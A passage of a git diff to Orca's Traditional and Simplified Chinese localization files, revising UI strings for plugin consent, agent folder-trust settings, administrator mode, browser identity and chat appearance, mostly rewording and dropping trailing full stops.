+          "uiWarning": "在 Orca 中執行發佈者的程式碼來繪製其檢視畫面。Orca 會顯示它能存取什麼，並在啟用前徵求您的同意。"
         },
         "PluginConsentProvenance": {
           "official": "官方",
@@ -12887,8 +12977,8 @@
         "PluginCardAction": {
           "installed": "已安裝",
           "installing": "正在安裝…",
-          "reviewLabel": "審查並安裝 {{value0}}",
-          "review": "審查並安裝",
+          "reviewLabel": "檢閱並安裝 {{value0}}",
+          "review": "檢閱並安裝",
           "retry": "再試一次"
         },
         "PluginContributionActionLanguage": {
@@ -12976,7 +13066,7 @@
           "commands": "命令和面板",
           "catalogLabel": "依目錄篩選",
           "editors": "編輯器",
-          "remoteVms": "遠端/虛擬機器",
+          "remoteVms": "遠端/虛擬機",
           "games": "遊戲",
           "agents": "代理程式",
           "integrations": "整合"
@@ -12989,11 +13079,11 @@
           "use": "使用"
         },
         "PluginInstallConsent": {
-          "noOtherAccess": "沒有其他存取權限",
-          "replacesShortcut": "{{value0}}（{{value1}}）會取代你的「{{value2}}」快捷鍵。",
-          "updatesKeepApproval": "更新只會針對新的存取權限再次詢問",
-          "fullAccessUpdates": "更新可能會在未詢問的情況下變更其程式碼",
-          "editsFileTypes": "在 Orca 中開啟並編輯 {{value0}} 檔案。它可以讀取自己開啟的檔案。",
+          "noOtherAccess": "無其他存取權限",
+          "replacesShortcut": "{{value0}}（{{value1}}）將取代你為 {{value2}} 設定的快速鍵",
+          "updatesKeepApproval": "僅在需要新權限時，更新才會再次詢問",
+          "fullAccessUpdates": "更新可在不詢問的情況下變更其程式碼",
+          "editsFileTypes": "在 Orca 中開啟並編輯 {{value0}} 檔案，並可讀取它所開啟的檔案",
           "install": "安裝並啟用",
           "keepOff": "保持關閉"
         },
@@ -13073,8 +13163,8 @@
           "addsCommands": "新增命令",
           "addsPanel": "新增面板",
           "contentOnly": "僅內容",
-          "fullAccess": "完整存取",
-          "addsVmRecipes": "新增虛擬機器配方",
+          "fullAccess": "完整存取權限",
+          "addsVmRecipes": "新增虛擬機配方",
           "opensAndEditsFiles": "開啟並編輯檔案",
           "runsPluginCode": "執行外掛程式碼"
         },
@@ -13154,11 +13244,11 @@
           "autoUpdateHint": "只有在需要新的存取權限時才會再次詢問"
         },
         "PluginPageHero": {
-          "screenshots": "螢幕截圖",
-          "openScreenshot": "開啟螢幕截圖：{{value0}}",
-          "position": "{{value0}} / {{value1}}",
-          "previous": "上一張螢幕截圖",
-          "next": "下一張螢幕截圖"
+          "screenshots": "螢幕擷取畫面",
+          "openScreenshot": "開啟螢幕擷取畫面：{{value0}}",
+          "position": "第 {{value0}} 張，共 {{value1}} 張",
+          "previous": "上一張螢幕擷取畫面",
+          "next": "下一張螢幕擷取畫面"
         },
         "PluginContributionActionCommand": {
           "run": "執行",
@@ -13219,27 +13309,6 @@
           "shownPluginCount_one": "顯示 {{count}} 個符合的外掛，包括此外掛",
           "shownPluginCount_other": "顯示 {{count}} 個符合的外掛，包括此外掛",
           "samePublisher": "更多列為 {{value0}} 的外掛"
-        },
-        "RepositorySourceControlAiSection": {
-          "112f3b934f": "原始碼控制 AI"
-        },
-        "keep": {
-          "local": {
-            "main": {
-              "up": {
-                "to": {
-                  "date": {
-                    "setting": {
-                      "f4c23aee76": "保持本機 main 最新"
-                    }
-                  }
-                }
-              }
-            }
-          }
-        },
-        "BrowserUseEnableSwitch": {
-          "ce4d6f80d8": "啟用代理程式使用瀏覽器"
         }
       },
       "right": {
@@ -18209,7 +18278,6 @@
         "status": "狀態",
         "priority": "優先順序",
         "assignee": "負責人",
-        "unassigned": "未指派",
         "labels": "標籤",
         "countSelected": "已選擇 {{count}} 個",
         "partialCoverageMarker": "· 部分",
@@ -18304,7 +18372,9 @@
         "failingChip": "{{value0}} 失敗",
         "pendingChip": "{{value0}} 個等待中",
         "needsActionChip": "{{value0}} 個需要操作",
-        "unresolvedChip": "{{value0}} 個未解決"
+        "unresolvedChip": "{{value0}} 個未解決",
+        "noChecks": "找不到檢查項目",
+        "passingSummary": "{{value0}}/{{value1}} 項檢查通過"
       },
       "BrowserPane": {
         "streamConnectionLost": "已與遠端伺服器斷線。",
@@ -18726,14 +18796,10 @@
         }
       },
       "agent-workspace-trust-decision": {
-        "prompt-title": "要為代理程式信任 {{repo}} 嗎？",
-        "prompt-description": "Claude Code 和 Codex 等代理程式在載入專案自帶的代理程式設定和鉤子（可以執行命令）之前，會詢問「是否信任此資料夾？」。Orca 可以在此存放庫的每個工作樹中替你回答「是」。",
-        "prompt-remembered": "Orca 會記住你對此存放庫的回答。你可以在存放庫設定中變更。",
         "trust-repository": "信任存放庫",
         "let-agents-ask": "讓代理程式詢問",
         "setting-title": "代理程式資料夾信任",
         "setting-description": "Orca 在此存放庫的工作樹中啟動的代理程式是否略過「是否信任此資料夾？」的詢問，並立即載入專案的代理程式設定和鉤子。",
-        "setting-undecided": "尚未決定。下次你在這裡啟動代理程式時，Orca 會詢問。",
         "setting-global-off": "已在代理程式設定中關閉資料夾信任，因此代理程式一律會詢問。",
         "keyword-trust": "信任",
         "keyword-hooks": "鉤子"
@@ -20634,6 +20700,10 @@
     },
     "dictation": {
       "stoppedAfterSilenceSeconds": "靜音 {{seconds}} 秒後已停止"
+    },
+    "toastFallbacks": {
+      "worktreeCreateFailed": "無法建立工作樹。",
+      "missingBaseBranchHelp": "請建立初始提交（例如在 main 上），或在「建立來源」中選擇現有分支，然後重試。"
     }
   },
   "dashboardPopout": {
diff --git a/src/renderer/src/i18n/locales/zh.json b/src/renderer/src/i18n/locales/zh.json
index a2a9b61bbe6..6b8a07db652 100644
--- a/src/renderer/src/i18n/locales/zh.json
+++ b/src/renderer/src/i18n/locales/zh.json
@@ -7,9 +7,9 @@
     "checkSettings": "检查智能体的启动设置，然后重试。",
     "invalidArgs": "{{value0}} 的 CLI 参数中有未闭合的引号。请修正后重试。",
     "opencode": {
-      "updateRequired": "此版本的 OpenCode 无法使用所选模型安全启动。请将 OpenCode 更新到受支持的版本，或不指定模型。",
-      "invalidConfig": "OpenCode 无法将所选模型应用到启动配置。请检查 OpenCode 启动配置后重试，或不指定模型。",
-      "unsupportedLaunch": "OpenCode 无法在此次启动中应用所选模型。请使用受支持的启动参数打开新的本地终端，或不指定模型。"
+      "updateRequired": "此版本的 OpenCode 无法使用所选模型安全启动。请将 OpenCode 更新到受支持的版本，或不指定模型",
+      "invalidConfig": "OpenCode 无法将所选模型应用到启动配置。请检查 OpenCode 启动配置后重试，或不指定模型",
+      "unsupportedLaunch": "OpenCode 无法在此次启动中应用所选模型。请使用受支持的启动参数打开新的本地终端，或不指定模型"
     },
     "terminalPreparationFailed": "无法为 {{value0}} 打开终端。请检查工作区连接和智能体设置，然后重试。",
     "terminalPromptFailed": "Orca 已为 {{value0}} 打开终端，但无法传递你的提示。请在该终端中发送提示。"
@@ -17,23 +17,23 @@
   "app": {
     "saving": {
       "delayedTitle": "配置存储操作耗时比平时更长",
-      "delayedDescription": "在此操作完成前，后续保存可能会延迟。"
+      "delayedDescription": "在此操作完成前，后续保存可能会延迟"
     },
     "recoverableError": {
-      "rootTitle": "Orca 遇到渲染器错误。",
-      "rootDescription": "应用 shell 无法完成渲染。重试以重新挂载，如果错误仍然存在，请重新启动 Orca。",
-      "webTitle": "Orca Web 遇到渲染器错误。",
-      "webDescription": "重试 Web 客户端或重新连接到配对的运行时。"
+      "rootTitle": "Orca 遇到渲染器错误",
+      "rootDescription": "应用 shell 无法完成渲染，重试以重新挂载，如果错误仍然存在，请重新启动 Orca",
+      "webTitle": "Orca Web 遇到渲染器错误",
+      "webDescription": "重试 Web 客户端或重新连接到配对的运行时"
     }
   },
   "githubChecks": {
     "retrying": "正在重试...",
-    "logsNotYetAvailable": "日志输出尚不可用。",
-    "logsLoadErrorDetails": "无法加载日志。请使用刷新重试。",
-    "logsLoadErrorSidebar": "无法加载日志。请打开查看完整详细信息，然后使用刷新重试。",
-    "logsEmpty": "未返回日志输出。",
-    "logsNotRequested": "未请求日志摘录。每项检查最多加载五个失败作业的日志摘录。",
-    "noLogExcerpt": "没有可用的日志摘录。",
+    "logsNotYetAvailable": "日志输出尚不可用",
+    "logsLoadErrorDetails": "无法加载日志，请使用刷新重试",
+    "logsLoadErrorSidebar": "无法加载日志，请打开查看完整详细信息，然后使用刷新重试",
+    "logsEmpty": "未返回日志输出",
+    "logsNotRequested": "未请求日志摘录，每项检查最多加载五个失败作业的日志摘录",
+    "noLogExcerpt": "没有可用的日志摘录",
     "refreshingDetails": "正在刷新检查详情…"
   },
   "settings": {
@@ -44,28 +44,28 @@
       "description": "选择聊天的外观和行为方式。",
       "names": {
         "title": "聊天名称",
-        "description": "使用各聊天的智能体根据首条消息命名。可在高级设置中选择其他命名智能体。名称生成前，聊天会显示首条消息。",
+        "description": "使用各聊天的智能体根据首条消息命名。可在高级设置中选择其他命名智能体。名称生成前，聊天会显示首条消息",
         "enable": "自动为聊天命名",
         "recipe": "聊天名称",
         "useChatAgent": "使用聊天智能体",
         "configuredCliAgent": "使用已配置的CLI智能体（{{agent}}）",
         "configuredCliAgentUnknown": "使用已配置的 CLI 代理",
-        "clearCliArguments": "清除CLI参数以使用各聊天的智能体。",
+        "clearCliArguments": "清除CLI参数以使用各聊天的智能体",
         "cliArgumentsPlaceholder": "已配置的CLI命名智能体的可选参数",
-        "recipeDescription": "根据新聊天的首条消息生成简短名称。",
-        "customCommandDescription": "选择自定义命令的配置共用此命令行。使用 {prompt} 将输入作为参数传递，否则通过标准输入传递。",
-        "saveFailed": "无法保存聊天命名设置。",
-        "searchAgent": "智能体",
+        "recipeDescription": "根据新聊天的首条消息生成简短名称",
+        "customCommandDescription": "选择自定义命令的配置共用此命令行，使用 {prompt} 将输入作为参数传递，否则通过标准输入传递",
+        "saveFailed": "无法保存聊天命名设置",
+        "searchAgent": "代理",
         "searchTemplate": "命令模板"
       },
       "providers": {
         "title": "提供方",
         "antigravityAccount": "账户",
-        "searchAgents": "智能体",
+        "searchAgents": "代理",
         "searchTerminal": "终端",
         "searchCli": "CLI"
       },
-      "permissionsDescriptionOwnAgents": "新聊天遵循设置 → 智能体中各智能体的权限。",
+      "permissionsDescriptionOwnAgents": "新聊天遵循设置 → 智能体中各智能体的权限",
       "launch": {
         "on": "Chat UI 已开启",
         "off": "Chat UI 已关闭",
@@ -82,22 +82,22 @@
       "optionLayoutAlt": "ABC 或 U.S. — Option 键发送 Alt/Esc 序列",
       "optionLayoutCompose": "此布局使用 Option 键输入 @、€、[、] 等字符",
       "optionLayoutUnknown": "未知布局 — Option 键输入字符（安全的默认设置）",
-      "optionShortcutHint": "选择“两个都”使用 Option 快捷键，选择“关”输入重音字符和符号，或选择“左边”/“右边”让两个 Option 键各司其职。",
+      "optionShortcutHint": "选择“两个都”使用 Option 快捷键，选择“关”输入重音字符和符号，或选择“左边”/“右边”让两个 Option 键各司其职",
       "windows": {
-        "administratorApproval": "Windows 将请求批准。请使用您常用的账户。",
-        "administratorDialogScope": "这会更改整个应用的权限。SSH 和 WSL 保留各自的权限。",
+        "administratorApproval": "Windows 将请求批准，请使用您常用的账户",
+        "administratorDialogScope": "这会更改整个应用的权限，SSH 和 WSL 保留各自的权限",
         "administratorDocumentation": "阅读指南",
         "administratorLabel": "管理员模式",
-        "administratorPromptCancellation": "取消 Windows 的提示后，Orca 会带着保留的终端重新打开。SSH 和 WSL 的权限仍由其主机控制。",
-        "administratorRestartConsequences": "请先保存您的工作。批准后，当前本地终端主机上的终端和智能体会关闭。已恢复的标签页会打开新的管理员 shell。",
-        "administratorRestartFailed": "Orca 无法重启。请重试，或使用手动说明。",
-        "administratorScope": "Orca 应用的权限。现有终端可能有所不同。",
-        "administratorSearchDescription": "查看 Orca 的 Windows 权限，或通过管理员批准进行重启。",
+        "administratorPromptCancellation": "取消 Windows 的提示后，Orca 会带着保留的终端重新打开，SSH 和 WSL 的权限仍由其主机控制",
+        "administratorRestartConsequences": "请先保存您的工作，批准后，当前本地终端主机上的终端和代理会关闭，已恢复的标签页会打开新的管理员 shell",
+        "administratorRestartFailed": "Orca 无法重启，请重试，或使用手动说明",
+        "administratorScope": "Orca 应用的权限，现有终端可能有所不同",
+        "administratorSearchDescription": "查看 Orca 的 Windows 权限，或通过管理员批准进行重启",
         "administratorStatus": "管理员",
         "cancelAdministratorRestart": "取消",
         "checkingAdministrator": "检查中…",
         "closeAdministratorHelp": "关闭",
-        "closeLocalSessions": "请保存您的工作，关闭所有本地终端会话，然后退出 Orca。",
+        "closeLocalSessions": "请保存您的工作，关闭所有本地终端会话，然后退出 Orca",
         "confirmAdministratorRestart": "以管理员身份重启？",
         "keywordAdmin": "管理员",
         "keywordAdministrator": "管理员",
@@ -105,12 +105,12 @@
         "keywordPermissions": "权限",
         "keywordRestart": "重启",
         "keywordUac": "uac",
-        "launchAdministrator": "在 Windows 开始菜单中，右键单击 Orca，然后选择“以管理员身份运行”。使用您常用的账户批准 Windows 提示。",
-        "launchStandard": "从 Windows 开始菜单正常打开 Orca。",
+        "launchAdministrator": "在 Windows 开始菜单中，右键单击 Orca，然后选择“以管理员身份运行”，使用您常用的账户批准 Windows 提示",
+        "launchStandard": "从 Windows 开始菜单正常打开 Orca",
         "manualAdministratorHelp": "手动说明",
         "restartAdministrator": "以管理员身份重启",
         "restartingAdministrator": "正在重启…",
-        "retainedTerminalPermissions": "如果新终端仍使用之前的权限，请打开管理会话并选择重新启动守护进程。这会关闭本地终端及其正在运行的命令。",
+        "retainedTerminalPermissions": "如果新终端仍使用之前的权限，请打开管理会话并选择重新启动守护进程，这会关闭本地终端及其正在运行的命令",
         "returnStandardHelp": "标准模式指南",
         "runAdministratorHelp": "管理员指南",
         "standardStatus": "标准用户",
@@ -119,15 +119,15 @@
       },
       "limit": {
         "label": "运行中终端的最大数量",
-        "description": "限制此主机上所有项目中正在运行的终端数量。",
+        "description": "限制此主机上所有项目中正在运行的终端数量",
         "system": "系统 PTY 上限：{{value}}",
         "unknown": "无法获取",
-        "shared": "与其他终端应用共享。这是总容量，并非可用数量。",
-        "disconnected": "此主机已断开连接。请重新连接以查看或更改终端上限。",
-        "unsupported": "此主机的终端服务尚不支持更改此上限。",
-        "environment": "此 Orca 实例的终端上限由环境变量设置。要在此编辑，请先移除此主机上的相应环境设置。",
-        "savedUnreadable": "无法读取此主机已保存的终端上限。当前使用 {{value}}。输入数值并按 Enter 键即可替换。",
-        "failed": "无法确认终端上限。请重试。",
+        "shared": "与其他终端应用共享。这是总容量，并非可用数量",
+        "disconnected": "此主机已断开连接。请重新连接以查看或更改终端上限",
+        "unsupported": "此主机的终端服务尚不支持更改此上限",
+        "environment": "此 Orca 实例的终端上限由环境变量设置。要在此编辑，请先移除此主机上的相应环境设置",
+        "savedUnreadable": "无法读取此主机已保存的终端上限。当前使用 {{value}}。输入数值并按 Enter 键即可替换",
+        "failed": "无法确认终端上限。请重试",
         "retry": "重试",
         "unit": "个终端",
         "search": {
@@ -141,7 +141,7 @@
     "appearance": {
       "language": {
         "title": "语言",
-        "description": "选择 Orca 界面使用的语言。",
+        "description": "选择 Orca 界面使用的语言",
         "system": "系统",
         "english": "English",
         "chinese": "中文（简体）",
@@ -156,22 +156,22 @@
         "german": "Deutsch"
       },
       "statusBar": {
-        "claudeToggleDescription": "显示当前工作区的 Claude Token 与费用消耗情况。",
-        "codexToggleDescription": "显示当前工作区的 Codex Token 与费用消耗情况。",
-        "geminiToggleDescription": "显示当前工作区的 Gemini Token 与费用消耗情况。",
-        "opencodeGoToggleDescription": "显示当前工作区的 OpenCode Go Token 与费用消耗情况。",
-        "kimiToggleDescription": "显示当前工作区的 Kimi 订阅使用情况。",
-        "minimaxToggleDescription": "显示当前工作区的 MiniMax 订阅使用情况。",
-        "sshToggleDescription": "当有可用的已配置 SSH 和远程 Orca 主机时显示它们。",
-        "resourceUsageToggleDescription": "显示资源管理器。点击可查看 CPU、内存、会话、守护进程控制和工作区磁盘扫描。",
-        "portsToggleDescription": "显示实时工作区端口。点击可查看工作区范围的端口和外部监听器。",
-        "antigravityToggleDescription": "显示当前工作区的 Antigravity 订阅使用情况。",
-        "grokToggleDescription": "通过 Grok CLI 登录后显示 Grok 订阅额度使用情况。",
-        "cursorToggleDescription": "通过 cursor-agent 或 Cursor IDE 登录后显示 Cursor 套餐用量。",
-        "zcodeToggleDescription": "显示 ZCode 编码计划配额使用情况。"
+        "claudeToggleDescription": "显示当前工作区的 Claude Token 与费用消耗情况",
+        "codexToggleDescription": "显示当前工作区的 Codex Token 与费用消耗情况",
+        "geminiToggleDescription": "显示当前工作区的 Gemini Token 与费用消耗情况",
+        "opencodeGoToggleDescription": "显示当前工作区的 OpenCode Go Token 与费用消耗情况",
+        "kimiToggleDescription": "显示当前工作区的 Kimi 订阅使用情况",
+        "minimaxToggleDescription": "显示当前工作区的 MiniMax 订阅使用情况",
+        "sshToggleDescription": "当有可用的 SSH 和远程 Orca 主机时显示它们",
+        "resourceUsageToggleDescription": "显示资源管理器，点击可查看 CPU、内存、会话、守护进程控制和工作区磁盘扫描",
+        "portsToggleDescription": "显示实时工作区端口，点击可查看工作区范围的端口和外部监听器",
+        "antigravityToggleDescription": "显示当前工作区的 Antigravity 订阅使用情况",
+        "grokToggleDescription": "通过 Grok CLI 登录后显示 Grok 订阅额度使用情况",
+        "cursorToggleDescription": "通过 cursor-agent 或 Cursor IDE 登录后显示 Cursor 套餐用量",
+        "zcodeToggleDescription": "显示 ZCode 编码计划配额使用情况"
       },
       "menuBarIcon": {
-        "description": "在 macOS 菜单栏中保留 Orca 快捷方式和活动指示器。",
+        "description": "在 macOS 菜单栏中保留 Orca 快捷方式和活动指示器",
         "keyword": {
           "menuBar": "菜单栏",
           "statusItem": "状态项",
@@ -181,72 +181,87 @@
       },
       "chat": {
         "fontFamily": "字体",
-        "fontFamilyDescription": "用于消息、活动和消息输入框的字体。",
+        "fontFamilyDescription": "用于消息、活动和消息输入框的字体",
         "fontKeywordTypeface": "字体",
         "fontKeywordTypography": "排版",
         "inheritFont": "与 IDE 字体相同",
         "fontPreviewLabel": "聊天字体预览",
-        "fontPreview": "这段文字用于预览聊天字体。",
+        "fontPreview": "这段文字用于预览聊天字体",
         "title": "聊天界面",
         "textSize": "文字大小",
-        "textSizeDescription": "消息、工具活动和消息输入框。在聊天中按 {{increase}} / {{decrease}} 也会更改此设置。",
+        "textSizeDescription": "消息、工具活动和消息输入框，在聊天中按 {{increase}} / {{decrease}} 也会更改此设置",
         "codeTextSize": "代码文字大小",
-        "codeTextSizeDescription": "代码块、行内代码、命令和工具输出。",
+        "codeTextSizeDescription": "代码块、行内代码、命令和工具输出",
         "width": "宽度",
-        "widthDescription": "消息和输入框在宽窗格中可以扩展到的最大宽度。",
+        "widthDescription": "消息和输入框在宽窗格中可以扩展到的最大宽度",
         "resetAppearance": "重置聊天外观",
-        "resetDescription": "恢复上述默认设置。",
+        "resetDescription": "恢复上述默认设置",
         "comfortable": "舒适",
         "wide": "宽",
         "full": "全宽",
         "pixels": "px",
         "reset": "重置",
         "matchTerminalInterface": "匹配终端外观",
-        "matchTerminalInterfaceDescription": "整个聊天使用与终端相同的字体和配色。更改终端主题后，聊天会自动同步。",
+        "matchTerminalInterfaceDescription": "整个聊天使用与终端相同的字体和配色，更改终端主题后，聊天会自动同步",
         "contrast": "对比度",
-        "contrastDescription": "调整聊天文字相对于背景的亮度。滑到最右端可恢复以前更明亮的外观。",
+        "contrastDescription": "调整聊天文字相对于背景的亮度，滑到最右端可恢复以前更明亮的外观",
         "softer": "更柔和",
         "sharper": "更清晰",
-        "terminalControlledHint": "由终端界面设置。",
-        "terminalControlledTooltip": "正在匹配终端外观。要更改此项，请关闭“匹配终端外观”。"
+        "terminalControlledHint": "由终端界面设置",
+        "terminalControlledTooltip": "正在匹配终端外观，要更改此项，请关闭“匹配终端外观”"
+      },
+      "editorTheme": {
+        "light": "浅色编辑器主题",
+        "lightDescription": "应用使用浅色主题时的代码编辑器、差异视图和笔记本颜色。",
+        "dark": "深色编辑器主题",
+        "darkDescription": "应用使用深色主题时的代码编辑器、差异视图和笔记本颜色。",
+        "followApp": "与应用主题相同",
+        "title": "编辑器主题",
+        "description": "独立于应用主题设置代码编辑器、差异视图和笔记本的颜色。",
+        "keyword": {
+          "editor": "编辑器",
+          "code": "代码",
+          "monaco": "monaco",
+          "syntax": "语法"
+        }
       }
     },
     "browser": {
       "clientHostedRemote": {
-        "optionDevice": "当前设备",
-        "optionDeviceTooltip": "页面在此桌面上呈现，因此输入和弹出窗口的行为是本机的。",
-        "optionServer": "服务器（流式传输）",
-        "optionServerTooltip": "页面在远程服务器上呈现并流式传输到该设备。",
+        "optionDevice": "此设备",
+        "optionDeviceTooltip": "页面在此桌面上渲染，因此输入和弹出窗口的行为与本机一致",
+        "optionServer": "服务器（串流）",
+        "optionServerTooltip": "页面在远程服务器上渲染，并流式传输到此设备",
         "rowTitle": "远程服务器工作区",
-        "rowDescription": "页面呈现的位置。流量始终通过远程服务器。仅适用于新页面。"
+        "rowDescription": "设置页面的渲染位置，流量始终通过远程服务器，仅适用于新页面"
       },
       "sshWorkspaceRouting": {
-        "disabledHosts": "主机从此设备进行浏览：",
+        "disabledHosts": "改为从此设备浏览的主机：",
         "optionHost": "SSH 主机",
-        "optionHostTooltip": "流量和 DNS 通过工作区的 SSH 主机。",
-        "optionDevice": "当前设备",
-        "optionDeviceTooltip": "从本机的网络浏览页面。",
+        "optionHostTooltip": "流量和 DNS 通过工作区的 SSH 主机",
+        "optionDevice": "此设备",
+        "optionDeviceTooltip": "页面通过此计算机的网络浏览",
         "rowTitle": "SSH 工作区",
-        "rowDescription": "浏览器流量从哪里离开。页面始终在此设备上呈现。",
+        "rowDescription": "设置浏览器流量的出口位置，页面始终在此设备上渲染",
         "useHost": "使用 SSH 主机"
       },
       "remoteBrowsing": {
         "heading": "远程浏览",
-        "headingDescription": "远程工作区页面呈现的位置及其网络流量的离开位置。"
+        "headingDescription": "设置远程工作区页面的渲染位置，以及其网络流量的出口位置"
       },
       "userAgent": {
         "title": "浏览器身份",
         "description": "为每个浏览器配置文件和页面选择用户代理。更改在重新启动后生效。",
-        "remoteUnsupported": "使用 Orca CLI 管理远程主机上的浏览器身份。",
+        "remoteUnsupported": "请使用 Orca CLI 在远程主机上管理浏览器身份",
         "loading": "加载中…",
-        "resetRequired": "身份数据必须在更改之前显式重置。",
-        "resetRequiredCommand": "从命令行重置它：orca browser identity set --mode <mode> --reset",
-        "optionClean": "已清理",
-        "optionCleanTooltip": "删除 Orca 和 Electron 令牌以匹配导入的 Chrome 会话。",
-        "optionNative": "原生",
+        "resetRequired": "必须先明确重置身份数据，才能更改此设置",
+        "resetRequiredCommand": "请通过命令行重置：orca browser identity set --mode <mode> --reset",
+        "optionClean": "清理模式",
+        "optionCleanTooltip": "移除 Orca 和 Electron 标识，使其与导入的 Chrome 会话一致",
+        "optionNative": "原生模式",
         "optionNativeTooltip": "对于拒绝清理身份的站点，保留 Electron 的内置身份。",
-        "restartRequired": "需要重新启动",
-        "unavailable": "浏览器身份不可用。"
+        "restartRequired": "需要重启",
+        "unavailable": "浏览器身份不可用"
       },
       "sitePermissions": {
         "allow": "允许",
@@ -261,8 +276,8 @@
           "localNetwork": "本地网络"
         },
         "title": "站点权限",
-        "empty": "尚未允许或阻止任何网站。",
-        "description": "网站在使用摄像头、麦克风、位置等资源前会请求您的许可。您可以更改对各个网站允许或阻止的权限。",
+        "empty": "尚未允许或阻止任何网站",
+        "description": "网站在使用摄像头、麦克风、位置等资源前会请求您的许可。您可以更改对各个网站允许或阻止的权限",
         "profile": "浏览器配置文件",
         "ask": "再次询问"
       },
@@ -270,13 +285,13 @@
         "optionShared": "共享",
         "keywordRepo": "仓库",
         "keywordIsolate": "隔离",
-        "optionSharedTooltip": "新标签页使用默认配置文件（或在“会话和 Cookie”中选择的配置文件）。",
+        "optionSharedTooltip": "新标签页使用默认配置文件（或在“会话和 Cookie”中选择的配置文件）",
         "title": "新标签页使用的配置文件",
         "optionWorktree": "按工作区",
         "optionRepo": "按仓库",
-        "optionWorktreeTooltip": "每个工作区都有自己的配置文件，并随工作区一起删除。",
-        "description": "在所有位置共享默认配置文件，或为每个仓库或工作区分配独立的 Cookie 和存储空间，避免本地开发服务器共用登录状态。",
-        "optionRepoTooltip": "每个仓库的所有工作区共享同一个配置文件，在首次使用时创建。",
+        "optionWorktreeTooltip": "每个工作区都有自己的配置文件，并随工作区一起删除",
+        "description": "在所有位置共享默认配置文件，或为每个仓库或工作区分配独立的 Cookie 和存储空间，避免本地开发服务器共用登录状态",
+        "optionRepoTooltip": "每个仓库的所有工作区共享同一个配置文件，在首次使用时创建",
         "worktreeProfileLabel": "工作区：{{name}}",
         "repoProfileLabel": "仓库：{{name}}"
       },
@@ -288,21 +303,21 @@
         "remove": "移除",
         "reload": "从文件夹重新加载",
         "removeTitle": "移除 {{name}}？",
-        "removeUnpackedDescription": "它会连同已保存的数据一起从所有 Orca 浏览器配置文件中移除。磁盘上的文件夹会保留原位。",
-        "removeDescription": "它会连同已保存的数据一起从所有 Orca 浏览器配置文件中移除。",
-        "heldUpdate": "版本 {{version}} 正在等待更多访问权限。",
+        "removeUnpackedDescription": "它会连同已保存的数据一起从所有 Orca 浏览器配置文件中移除。磁盘上的文件夹会保留原位",
+        "removeDescription": "它会连同已保存的数据一起从所有 Orca 浏览器配置文件中移除",
+        "heldUpdate": "版本 {{version}} 正在等待更多访问权限",
         "reviewAccess": "查看访问权限",
         "loadError": "无法启动：{{error}}",
-        "profileDescription": "在此处启用的扩展程序会在使用 {{profile}} 配置文件的标签页中运行。",
+        "profileDescription": "在此处启用的扩展程序会在使用 {{profile}} 配置文件的标签页中运行",
         "loadUnpacked": "加载已解压的扩展程序…",
-        "empty": "未安装任何扩展程序。请从上方的 Chrome 应用商店添加。",
+        "empty": "未安装任何扩展程序。请从上方的 Chrome 应用商店添加",
         "title": "扩展程序",
-        "description": "所选本地浏览器配置文件的 Chrome 扩展程序。",
+        "description": "所选本地浏览器配置文件的 Chrome 扩展程序",
         "keywordExtension": "扩展程序",
         "keywordChrome": "chrome",
         "keywordUnpacked": "已解压",
         "keywordPassword": "密码管理器",
-        "desktopOnly": "浏览器扩展程序只能在 Orca 桌面应用中运行。",
+        "desktopOnly": "浏览器扩展程序只能在 Orca 桌面应用中运行",
         "webStore": {
           "placeholder": "Chrome 应用商店链接或扩展程序 ID",
           "inputLabel": "从 Chrome 应用商店添加",
@@ -310,67 +325,66 @@
           "adding": "正在添加…",
           "added": "已添加 {{name}}",
           "browse": "浏览 Chrome 应用商店",
-          "openFailed": "请打开一个工作区以浏览 Chrome 应用商店。"
+          "openFailed": "请打开一个工作区以浏览 Chrome 应用商店"
         }
       }
     },
     "agents": {
       "permissionsTitle": "权限",
-      "permissionsChoiceExplanation": "每个智能体无需询问即可执行的操作。你可以在下方为单个智能体单独设置。",
+      "permissionsChoiceExplanation": "每个智能体无需询问即可执行的操作。你可以在下方为单个智能体单独设置",
       "permissionEachOwn": "各智能体自己的设置",
       "codexTerminalServerIsolation": {
-        "title": "在自己的服务器上运行每个 Codex 终端",
-        "description": "保持 Orca 的状态和关闭选项卡正常工作。关闭以使用 Codex 的共享服务器及其智能体概述。适用于新终端。"
+        "title": "每个 Codex 终端使用独立服务器",
+        "description": "可确保 Orca 的状态显示和关闭标签页正常工作，关闭后将使用 Codex 的共享服务器及其代理概览，仅对新终端生效"
       },
       "codexSharedServerWarning": {
-        "title": "当 Codex 选项卡共享服务器时发出警告",
-        "description": "当您自己启动的 Codex 与其他选项卡共享服务器时，在您自己启动的 Codex 上显示一条通知，因为它的智能体状态可能是错误的。"
+        "title": "Codex 标签页共享服务器时提醒",
+        "description": "当你自行启动的 Codex 与其他标签页共享服务器时显示提示，因为其代理状态可能不准确"
       },
       "environmentName": "环境变量名称",
       "environmentValue": "{{name}} 的值",
       "savedEnvironment": "已保存的值 · 输入以替换",
       "newEnvironment": "值",
       "removeEnvironment": "删除",
-      "environmentUnclosedQuote": "请闭合引号以保存环境变量。",
-      "updateHost": "请更新此服务器以编辑其智能体启动设置。",
-      "readFailed": "无法读取智能体设置。请检查主机连接并重试。",
-      "saveFailed": "无法保存智能体设置。请检查主机连接并重试。",
-      "hostDefaults": "所选主机上新智能体的默认设置。",
+      "environmentUnclosedQuote": "请闭合引号以保存环境变量",
+      "updateHost": "请更新此服务器以编辑其代理启动设置",
+      "readFailed": "无法读取代理设置，请检查主机连接并重试",
+      "saveFailed": "无法保存代理设置，请检查主机连接并重试",
+      "hostDefaults": "所选主机上新代理的默认设置",
       "defaultOpensAs": "{{value0}} 的打开方式",
       "defaultOpensAsChat": "聊天",
       "defaultOpensAsCli": "CLI",
       "save": "保存",
-      "clearDefault": "清除默认智能体",
+      "clearDefault": "清除默认代理",
       "customArgsBadge": "自定义",
       "rowPermissions": "权限",
-      "permissionsDescription": "设置智能体在无需询问您的情况下可以执行的操作范围。已设置自定义启动参数的智能体会保留这些参数。",
-      "permissionsAutoDescription": "<agents>支持的智能体</agents>会自行批准安全操作。",
-      "otherAgentsPermissions": "其他智能体",
-      "otherAgentsPermissionsLabel": "其他智能体的权限",
+      "permissionsDescription": "代理在不询问你的情况下可以做多少事，使用自定义启动参数的代理会保留其参数",
+      "permissionsAutoDescription": "<agents>支持的智能体</agents>会自行批准安全操作",
+      "otherAgentsPermissions": "其他代理",
+      "otherAgentsPermissionsLabel": "其他代理的权限",
       "autoUnsupported": "“替我批准”需要此主机上的 Orca 更新到较新版本。",
-      "customArgsTooltip": "使用自己的启动参数。",
-      "permissionsMixedNoMajority": "各智能体使用不同的设置。选择模式后会应用到所有智能体。",
